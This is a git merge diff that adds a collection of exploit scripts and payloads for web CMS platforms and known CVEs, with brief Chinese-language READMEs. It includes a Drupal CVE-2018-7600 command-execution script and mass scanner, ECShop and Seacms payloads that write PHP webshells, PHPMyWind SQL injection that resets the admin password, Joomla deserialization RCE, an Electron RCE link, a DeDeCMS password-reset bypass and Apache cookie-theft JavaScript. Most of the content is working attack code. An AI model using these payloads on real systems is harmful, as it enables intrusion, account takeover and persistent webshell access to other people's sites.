Merge branch 'pr/1'
11
CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md
Normal file
@ -0,0 +1,11 @@
|
||||
# 任意用户密码重置漏洞(利用弱类型)
|
||||
## Reference
|
||||
* [https://xianzhi.aliyun.com/forum/topic/1926](https://xianzhi.aliyun.com/forum/topic/1926)
|
||||
## 利用条件
|
||||
* 管理员开启了会员功能
|
||||
* 该会员没有设置安全问题
|
||||
## 利用方式
|
||||
|
||||
step1: 访问 URL + /member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1[修改密码的id]
|
||||
|
||||
step2: 访问源码中的跳转链接类似于 URL + member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo 修改密码即可
|
1
CMS/Discuz/Discuz_v3.4/README.md
Normal file
@ -0,0 +1 @@
|
||||
## Discuz!x v_3.4以下 任意文件删除漏洞
|
12
CMS/Discuz/Discuz_v3.4/form.php
Normal file
@ -0,0 +1,12 @@
|
||||
<form action="http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
|
||||
<input type="file"name="birthprovince" id="file" />
|
||||
<input type="text"name="formhash" value="de746a38"/></p>
|
||||
<input type="text"name="profilesubmit" value="1"/></p>
|
||||
<input type="submit"value="Submit" />
|
||||
</from>
|
||||
|
||||
<!--
|
||||
Usages:
|
||||
step1 : GET http://127.0.0.1/upload/home.php?mod=spacecp&ac=profile&op=base and POST birthprovince=../../../test.txt[the file you delete]&profilesubmit=1&formhash=2fce4b73[your hash]
|
||||
step2 : upload jpg from form.php then file delete
|
||||
-->
|
24
CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/CVE-2018-7600.py
Normal file
@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env
|
||||
import sys
|
||||
import requests
|
||||
|
||||
print ('################################################################')
|
||||
print ('# Proof-Of-Concept for CVE-2018-7600')
|
||||
print ('# by Vitalii Rudnykh')
|
||||
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
|
||||
print ('# https://github.com/a2u/CVE-2018-7600')
|
||||
print ('################################################################')
|
||||
print ('Provided only for educational or information purposes\n')
|
||||
print ('a little change by MrSm1th\n')
|
||||
print ('Usage:python CVE-2018-7600.py id(command)\n')
|
||||
|
||||
target = raw_input('Enter target url (example: https://domain.ltd/): ')
|
||||
|
||||
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
|
||||
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup','mail[#markup]':sys.argv[1]}
|
||||
|
||||
r = requests.post(url, data=payload)
|
||||
if r.status_code != 200:
|
||||
sys.exit("Not exploitable")
|
||||
else:
|
||||
print r.text
|
104
CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/CVE-2018-7600plus.py
Normal file
@ -0,0 +1,104 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import requests
|
||||
import threading
|
||||
import Queue
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
import os
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
#Drupal Drupalgeddon 2
|
||||
#(SA-CORE-2018-002 / CVE-2018-7600)
|
||||
#Exploit by Dan Sharvit - (Shlacky) - Cynoia.com linkedin.com/in/dansharv
|
||||
#https://github.com/sl4cky/CVE-2018-7600
|
||||
#mass vulnerability checker
|
||||
|
||||
|
||||
G = '\033[92m' # green
|
||||
Y = '\033[93m' # yellow
|
||||
B = '\033[94m' # blue
|
||||
R = '\033[91m' # red
|
||||
W = '\033[0m' # white
|
||||
|
||||
def parse_args():
|
||||
# parse the arguments
|
||||
parser = argparse.ArgumentParser(epilog='')
|
||||
parser._optionals.title = "OPTIONS"
|
||||
parser.add_argument('-f', '--file', help="file with urls to test", required=True)
|
||||
parser.add_argument('-o', '--output', help="output to write vulnerable servers", required=False)
|
||||
parser.add_argument('-t', '--threads', help="amount of threads", required=False, default=10)
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
class exploit(threading.Thread):
|
||||
|
||||
def __init__(self,queue):
|
||||
threading.Thread.__init__(self)
|
||||
self.queue = queue
|
||||
|
||||
|
||||
def write_to_file(self,url):
|
||||
with open(output,'a+') as f:
|
||||
f.write(url + "\n")
|
||||
f.close()
|
||||
|
||||
|
||||
def check_url(self,url):
|
||||
target_url = "{}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax".format(url)
|
||||
try:
|
||||
r = requests.post(target_url, headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}, data={"form_id": "user_register_form", "_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "echo 'hehe'"})
|
||||
if r.status_code == 200:
|
||||
print "{}[!] {} is vulnerable{}".format(R,url,W)
|
||||
if output:
|
||||
self.write_to_file(url)
|
||||
else:
|
||||
print "[*] - Testing {}".format(url)
|
||||
except:
|
||||
"[*] An error occured"
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
try:
|
||||
url = self.queue.get(timeout=0.2)
|
||||
except:
|
||||
continue
|
||||
|
||||
self.check_url(url)
|
||||
|
||||
self.queue.task_done()
|
||||
|
||||
|
||||
def main():
|
||||
queue = Queue.Queue()
|
||||
|
||||
if os.path.isfile(file) == False:
|
||||
print "[*] Your inputfile doesn't exist"
|
||||
sys.exit(1)
|
||||
|
||||
global urls
|
||||
urls = open(file, 'r').read().splitlines()
|
||||
|
||||
for i in range(threads):
|
||||
t = exploit(queue)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
for url in urls:
|
||||
queue.put(url)
|
||||
|
||||
queue.join()
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
args = parse_args()
|
||||
file = args.file
|
||||
threads = args.threads
|
||||
output = args.output
|
||||
main()
|
11
CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/README.md
Normal file
@ -0,0 +1,11 @@
|
||||
# CVE-2018-7600
|
||||
|
||||
## THANKS
|
||||
|
||||
* [https://github.com/g0rx/CVE-2018-7600-Drupal-RCE](https://github.com/g0rx/CVE-2018-7600-Drupal-RCE)
|
||||
|
||||
## POC
|
||||
|
||||
* CVE-2018-7600.py为任意命令执行脚本
|
||||
* CVE-2018-7600plus.py为批量检测脚本
|
||||
|
15
CMS/Ecshop/Ecshop_2.7.x_3.6.x_RCE/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# ECShop <= 2.7.x/3.6.x RCE
|
||||
|
||||
|
||||
|
||||
## POC
|
||||
|
||||
```
|
||||
curl http://xxx/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
|
||||
```
|
||||
## GetShell
|
||||
```
|
||||
curl http://xxx/ecshop/user.php -d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
|
||||
```
|
||||
|
||||
**Shell address : http://xxx/ecshop/vulnspy.php password : vulnspy**
|
16
CMS/Electron/CVE-2018-1000006/README.md
Normal file
@ -0,0 +1,16 @@
|
||||
# Electron<v.1.8.2-beta.4 RCE - CVE-2018-1000006 only for windows
|
||||
|
||||
## Reference
|
||||
* [https://xianzhi.aliyun.com/forum/topic/1990](https://xianzhi.aliyun.com/forum/topic/1990)
|
||||
* [https://electronjs.org/blog/protocol-handler-fix](https://electronjs.org/blog/protocol-handler-fix)
|
||||
|
||||
## Payload
|
||||
```
|
||||
chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc
|
||||
当用户点击poc.html会执行命令
|
||||
```
|
||||
## 复现
|
||||
|
||||
* p师傅的项目里面有复现环境,git地址[https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
|
||||
|
||||
|
8
CMS/Electron/CVE-2018-1000006/poc.html
Normal file
@ -0,0 +1,8 @@
|
||||
<html>
|
||||
<head>
|
||||
POC for CVE-2018-1000006
|
||||
</head>
|
||||
<body>
|
||||
<a class="protocol" href='chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc</h3></a>
|
||||
</body>
|
||||
</html>
|
11
CMS/Joomla/Joomla_v3.4.6/README.md
Normal file
@ -0,0 +1,11 @@
|
||||
# Joomla远程代码执行漏洞
|
||||
## 影响范围
|
||||
* `Joomla 1.5 to 3.4 all version`
|
||||
## 分析
|
||||
* [https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html](https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html)
|
||||
* PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患[https://github.com/80vul/phpcodz/blob/master/research/pch-013.md](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md)
|
||||
* `利用'𝌆'(%F0%9D%8C%86)字符将utf-8的字段截断.`
|
||||
## POC
|
||||
```
|
||||
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð
|
||||
```
|
@ -1,9 +1,9 @@
|
||||
漏洞详情:
|
||||
LDAP注入漏洞(盲注)
|
||||
### 漏洞详情:
|
||||
* LDAP注入漏洞(盲注)
|
||||
|
||||
漏洞利用条件:
|
||||
Joomla! 1.5 <= 3.7.5
|
||||
### 漏洞利用条件:
|
||||
* `Joomla! 1.5 <= 3.7.5`
|
||||
|
||||
Joomla!配置通过LDAP认证
|
||||
* Joomla!配置通过LDAP认证
|
||||
|
||||
该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。
|
||||
* 该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。
|
||||
|
24
CMS/PHPMyWind/2014-2017/README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# PHPMyWind 2014-2017 getshell
|
||||
## From
|
||||
* PHPMyWind SQL注入 无限制 [wooyun-2015-089760](http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2015-089760)
|
||||
|
||||
## POC
|
||||
PS:POC 已做改动
|
||||
|
||||
0. 爆前缀
|
||||
```
|
||||
/member.php?a=quesfind
|
||||
POSTDATA:uname=testaa union select 1&answer=2
|
||||
```
|
||||
|
||||
1. 重置后台密码为 admin
|
||||
```
|
||||
/4g.php?m=show&cid=2&tbname=pmw_admin` SET password=0x6333323834643066393436303664653166643261663137326162613135626633 WHERE 1=1 or @`'` -- @`'`
|
||||
```
|
||||
|
||||
2. 后台 -> 数据库管理 -> 执行 SQL
|
||||
```
|
||||
insert into `pmw_webconfig`(`varname`, `varvalue`, `vartype`) values('test', 'file_put_contents("demo.php", \'<?php @eval($_POST[x]) ?>\')', 'number')
|
||||
执行完成后去站点管理创建一个站点
|
||||
webshell:/admin/demo.php
|
||||
```
|
@ -1 +1 @@
|
||||
PHPcms v9.6.0 任意文件上传 可直接Getshell
|
||||
## PHPcms v9.6.0 任意文件上传 可直接Getshell
|
||||
|
2
CMS/Seacms/Seacms_v6.54/README.md
Normal file
@ -0,0 +1,2 @@
|
||||
### 漏洞详情:
|
||||
* 漏洞位于`search.php`处,`echoSearchPage()函数对html中的searchpage标签进行了多次的替换,多次替换过程中不断组合形成payload`
|
41
CMS/Seacms/Seacms_v6.54/Seacms_v6.54_exp.py
Normal file
@ -0,0 +1,41 @@
|
||||
#coding = utf8
|
||||
|
||||
#author : Mr5m1th
|
||||
|
||||
#PostData = searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,'<?php eval($_POST["Mr"]);?>');
|
||||
import hackhttp
|
||||
import sys
|
||||
import requests
|
||||
def exploit(url):
|
||||
Url = url + "/search.php"
|
||||
print "[*]Exploit Url:"+url
|
||||
raw = '''POST /search.php HTTP/1.1
|
||||
Host: %s
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Length: 22
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Referer: %s
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.8
|
||||
|
||||
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=fwrite(&9[]=fopen('Mr.php','w')&9[]=,'<?php eval($_POST["Mr"]);?>');
|
||||
'''%(url,Url)
|
||||
hh = hackhttp.hackhttp()
|
||||
try:
|
||||
a,b,c,d,e = hh.http(url = Url ,raw = raw)
|
||||
except:
|
||||
print "[-]SomeError Happened!"
|
||||
if __name__ == '__main__':
|
||||
url = sys.argv[1]
|
||||
exploit(url)
|
||||
s = requests.session()
|
||||
if s.get(url+"/Mr.php",verify=False).status_code == 200:
|
||||
print "[*]Exploit Sucess , Shell: "+url+"/Mr.php"
|
||||
else:
|
||||
print "[-]Exploit Fail"
|
||||
|
||||
|
20
CMS/WordPress/WordPress_v4.7.4/README.md
Normal file
@ -0,0 +1,20 @@
|
||||
# WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞
|
||||
* 官方[https://wordpress.org/news/2017/05/wordpress-4-7-5/](https://wordpress.org/news/2017/05/wordpress-4-7-5/)
|
||||
* POC来自[https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e](https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e)
|
||||
### POC
|
||||
```php
|
||||
$usr = 'author';
|
||||
$pwd = 'author';
|
||||
$xmlrpc = 'http://local.target/xmlrpc.php';
|
||||
$client = new IXR_Client($xmlrpc);
|
||||
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"5 %1$%s hello"));
|
||||
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
|
||||
```
|
||||
## Excute The SQL Payload
|
||||
以管理员的方式登陆
|
||||
|
||||
`http://local.target/wp-admin/upload.php`
|
||||
|
||||
`local.target/wp-admin/upload.php?_wpnonce=daab7cfabf&action=delete&media%5B%5D=5%20%251%24%25s%20hello`
|
||||
|
||||
hello换成我们的Payload
|
21
CMS/WordPress/WordPress_v4.8.2/README.md
Normal file
@ -0,0 +1,21 @@
|
||||
# WordPress ≤ 4.8.2 POST META 校验绕过漏洞
|
||||
## From
|
||||
* WordPress post meta data checks bypass[https://hackerone.com/reports/265484](https://hackerone.com/reports/265484)
|
||||
* WordPress <= 4.8.2 SQL Injection POC[http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/](http://blog.vulspy.com/2017/11/09/Wordpress-4-8-2-SQL-Injection-POC/)
|
||||
## POC
|
||||
```php
|
||||
$usr = 'author';
|
||||
$pwd = 'author';
|
||||
$xmlrpc = 'http://local.target/xmlrpc.php';
|
||||
$client = new IXR_Client($xmlrpc);
|
||||
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
|
||||
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);
|
||||
```
|
||||
### 用`%00_`来bypass
|
||||
|
||||
### STEP
|
||||
|
||||
* Add New Custom Field, Name:_thumbnail_id Value:`55 %1$%s or sleep(10)#`
|
||||
* Click Add Custom Field button.
|
||||
* Modify the HTTP request, `_thumbnail_id => %00_thumbnail_id`
|
||||
* Launch the attack. Visit `/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#.`
|
@ -1,6 +1,6 @@
|
||||
sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup
|
||||
# sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup
|
||||
|
||||
影响版本 SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10
|
||||
### 影响版本 `SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10`
|
||||
|
||||
修复建议:
|
||||
include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i
|
||||
### 修复建议:
|
||||
include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i··
|
||||
|
@ -1,7 +1,7 @@
|
||||
漏洞详情 :
|
||||
1. SQL注入漏洞->modules/Emails/DetailView.php $query语句->$parent_id 中加入 \ 可绕过防护措施
|
||||
2.CSRF+盲注
|
||||
3.对象注入
|
||||
4:认证文件泄露(任意文件读取)->modules/Connecors/controller.php->action_CallRest()函数->/index.php?...&module=CallRest&url=/etc/passwd 可读取配置文件
|
||||
利用条件 :
|
||||
1 3 4 只能通过一个有效的用户会话进行访问并利用 2 则可以直接利用
|
||||
## 漏洞详情
|
||||
* SQL注入漏洞->modules/Emails/DetailView.php $query语句->$parent_id 中加入 \ 可绕过防护措施 *
|
||||
* CSRF+盲注
|
||||
* 对象注入
|
||||
* 认证文件泄露(任意文件读取)->modules/Connecors/controller.php->action_CallRest()函数->/index.php?...&module=CallRest&url=/etc/passwd 可读取配置文件
|
||||
## 利用条件 :
|
||||
1 3 4 只能通过一个有效的用户会话进行访问并利用 2 则可以直接利用
|
||||
|
105
CVE_EXP/CVE-2012-0053/CVE-2012-0053.js
Normal file
@ -0,0 +1,105 @@
|
||||
// Most browsers limit cookies to 4k characters, so we need multiple
|
||||
function setCookies (good) {
|
||||
// Construct string for cookie value
|
||||
var str = "";
|
||||
for (var i=0; i< 819; i++) {
|
||||
str += "x";
|
||||
}
|
||||
// Set cookies
|
||||
for (i = 0; i < 10; i++) {
|
||||
// Expire evil cookie
|
||||
if (good) {
|
||||
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
|
||||
}
|
||||
// Set evil cookie
|
||||
else {
|
||||
var cookie = "xss"+i+"="+str+";path=/";
|
||||
}
|
||||
document.cookie = cookie;
|
||||
}
|
||||
}
|
||||
|
||||
function makeRequest() {
|
||||
setCookies();
|
||||
|
||||
function parseCookies () {
|
||||
var cookie_dict = {};
|
||||
// Only react on 400 status
|
||||
if (xhr.readyState === 4 && xhr.status === 400) {
|
||||
// Replace newlines and match <pre> content
|
||||
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
|
||||
if (content.length) {
|
||||
// Remove Cookie: prefix
|
||||
content = content[1].replace("Cookie: ", "");
|
||||
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
|
||||
// Add cookies to object
|
||||
for (var i=0; i<cookies.length; i++) {
|
||||
var s_c = cookies[i].split('=',2);
|
||||
cookie_dict[s_c[0]] = s_c[1];
|
||||
}
|
||||
}
|
||||
// Unset malicious cookies
|
||||
setCookies(true);
|
||||
alert(JSON.stringify(cookie_dict));
|
||||
}
|
||||
}
|
||||
// Make XHR request
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = parseCookies;
|
||||
xhr.open("GET", "/", true);
|
||||
xhr.send(null);
|
||||
}
|
||||
|
||||
makeRequest();// Most browsers limit cookies to 4k characters, so we need multiple
|
||||
function setCookies (good) {
|
||||
// Construct string for cookie value
|
||||
var str = "";
|
||||
for (var i=0; i< 819; i++) {
|
||||
str += "x";
|
||||
}
|
||||
// Set cookies
|
||||
for (i = 0; i < 10; i++) {
|
||||
// Expire evil cookie
|
||||
if (good) {
|
||||
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
|
||||
}
|
||||
// Set evil cookie
|
||||
else {
|
||||
var cookie = "xss"+i+"="+str+";path=/";
|
||||
}
|
||||
document.cookie = cookie;
|
||||
}
|
||||
}
|
||||
|
||||
function makeRequest() {
|
||||
setCookies();
|
||||
|
||||
function parseCookies () {
|
||||
var cookie_dict = {};
|
||||
// Only react on 400 status
|
||||
if (xhr.readyState === 4 && xhr.status === 400) {
|
||||
// Replace newlines and match <pre> content
|
||||
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
|
||||
if (content.length) {
|
||||
// Remove Cookie: prefix
|
||||
content = content[1].replace("Cookie: ", "");
|
||||
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
|
||||
// Add cookies to object
|
||||
for (var i=0; i<cookies.length; i++) {
|
||||
var s_c = cookies[i].split('=',2);
|
||||
cookie_dict[s_c[0]] = s_c[1];
|
||||
}
|
||||
}
|
||||
// Unset malicious cookies
|
||||
setCookies(true);
|
||||
alert(JSON.stringify(cookie_dict));
|
||||
}
|
||||
}
|
||||
// Make XHR request
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = parseCookies;
|
||||
xhr.open("GET", "/", true);
|
||||
xhr.send(null);
|
||||
}
|
||||
|
||||
makeRequest();
|
10
CVE_EXP/CVE-2012-0053/README.md
Normal file
@ -0,0 +1,10 @@
|
||||
# Apache httpOnly Cookie Disclosure(CVE-2012-0053)
|
||||
|
||||
## POC
|
||||
* 来自[https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08](https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08)
|
||||
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053)
|
||||
|
||||
## 利用方法
|
||||
|
||||
1. 打开Google,访问存在此漏洞的网站。
|
||||
2. F12开启控制台,Console,将CVE-2017-0053.js中的代码复制出来,并且放在Console中执行。
|
4
CVE_EXP/CVE-2015-1635/README.md
Normal file
@ -0,0 +1,4 @@
|
||||
# Microsoft Windows HTTP.sys(CVE-2015-1635)
|
||||
|
||||
蓝屏POC:
|
||||
* `wget http://www.host.com --header="Range: bytes=0-18446744073709551615"`
|
203
CVE_EXP/CVE-2015-1635/在线测试源码.php
Normal file
@ -0,0 +1,203 @@
|
||||
<?php
|
||||
|
||||
|
||||
class VulnStatus
|
||||
{
|
||||
const FAIL = 0;
|
||||
const VULN = 1;
|
||||
const VULN_NOT_MS = 2;
|
||||
const PATCHED = 3;
|
||||
const NOT_VULN = 4;
|
||||
const NOT_VULN_MS = 5;
|
||||
const NOT_VULN_CF = 6;
|
||||
|
||||
public static function AsString( $status, $host )
|
||||
{
|
||||
switch( $status )
|
||||
{
|
||||
case self::FAIL : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';;
|
||||
case self::VULN : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;
|
||||
case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';;
|
||||
case self::PATCHED : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';;
|
||||
case self::NOT_VULN : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';;
|
||||
case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;
|
||||
case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';;
|
||||
}
|
||||
|
||||
return ';好像坏了';;
|
||||
}
|
||||
}
|
||||
|
||||
$host = false;
|
||||
$status = false;
|
||||
$url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );
|
||||
|
||||
if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
|
||||
{
|
||||
$url = ';http://'; . $url;
|
||||
}
|
||||
|
||||
$port = parse_url( $url, PHP_URL_PORT );
|
||||
|
||||
if( $port === null )
|
||||
{
|
||||
$port = 80;
|
||||
}
|
||||
|
||||
$url = parse_url( $url, PHP_URL_HOST );
|
||||
|
||||
if( $url !== null )
|
||||
{
|
||||
$cachekey = ';ms15034_'; . $url . ';_'; . $port;
|
||||
$cachetime = 300; // 5 minutes
|
||||
|
||||
$host = htmlspecialchars( $url, ENT_HTML5 );
|
||||
|
||||
if( $port !== 80 )
|
||||
{
|
||||
$host .= ';:'; . $port;
|
||||
}
|
||||
|
||||
$memcached = new Memcached( );
|
||||
$memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );
|
||||
|
||||
$status = $memcached->get( $cachekey );
|
||||
|
||||
if( $status === false )
|
||||
{
|
||||
$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );
|
||||
|
||||
if( $fp === false )
|
||||
{
|
||||
$status = VulnStatus::FAIL;
|
||||
}
|
||||
else
|
||||
{
|
||||
stream_set_timeout( $fp, 5 );
|
||||
|
||||
$header = "GET / HTTP/1.1\r\n";
|
||||
$header .= "Host: stuff\r\n";
|
||||
$header .= "Range: bytes=0-18446744073709551615\r\n";
|
||||
$header .= "Connection: close\r\n\r\n";
|
||||
|
||||
fwrite( $fp, $header );
|
||||
|
||||
$response = fread( $fp, 1024 );
|
||||
|
||||
fclose( $fp );
|
||||
|
||||
if( strpos( $response, ';您的请求范围不符合'; ) !== false )
|
||||
{
|
||||
$status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
|
||||
}
|
||||
else if( strpos( $response, ';请求一个无效的header头部'; ) !== false )
|
||||
{
|
||||
$cachetime = 3600; // 缓存时间
|
||||
$status = VulnStatus::PATCHED;
|
||||
}
|
||||
else if( strpos( $response, ';Microsoft'; ) === false )
|
||||
{
|
||||
if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
|
||||
{
|
||||
$status = VulnStatus::NOT_VULN_CF;
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = VulnStatus::NOT_VULN;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = VulnStatus::NOT_VULN_MS;
|
||||
}
|
||||
}
|
||||
|
||||
unset( $fp, $header, $response );
|
||||
|
||||
$memcached->set( $cachekey, $status, $cachetime );
|
||||
}
|
||||
|
||||
$status = VulnStatus::AsString( $status, $host );
|
||||
}
|
||||
?>
|
||||
<!DOCTYPE HTML>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="theme-color" content="#424242">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
|
||||
<title>MS15-034 测试</title>
|
||||
|
||||
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">
|
||||
|
||||
<style type="text/css">
|
||||
.container {
|
||||
max-width: 900px;
|
||||
}
|
||||
|
||||
.masthead {
|
||||
position: relative;
|
||||
padding: 20px 0;
|
||||
text-align: center;
|
||||
color: #fff;
|
||||
background-color: #424242;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.masthead a {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.footer {
|
||||
text-align: center;
|
||||
padding: 15px;
|
||||
color: #555;
|
||||
}
|
||||
|
||||
.footer span {
|
||||
color: #FA5994;
|
||||
}
|
||||
|
||||
.form-inline {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.github {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 0;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div>
|
||||
<div>
|
||||
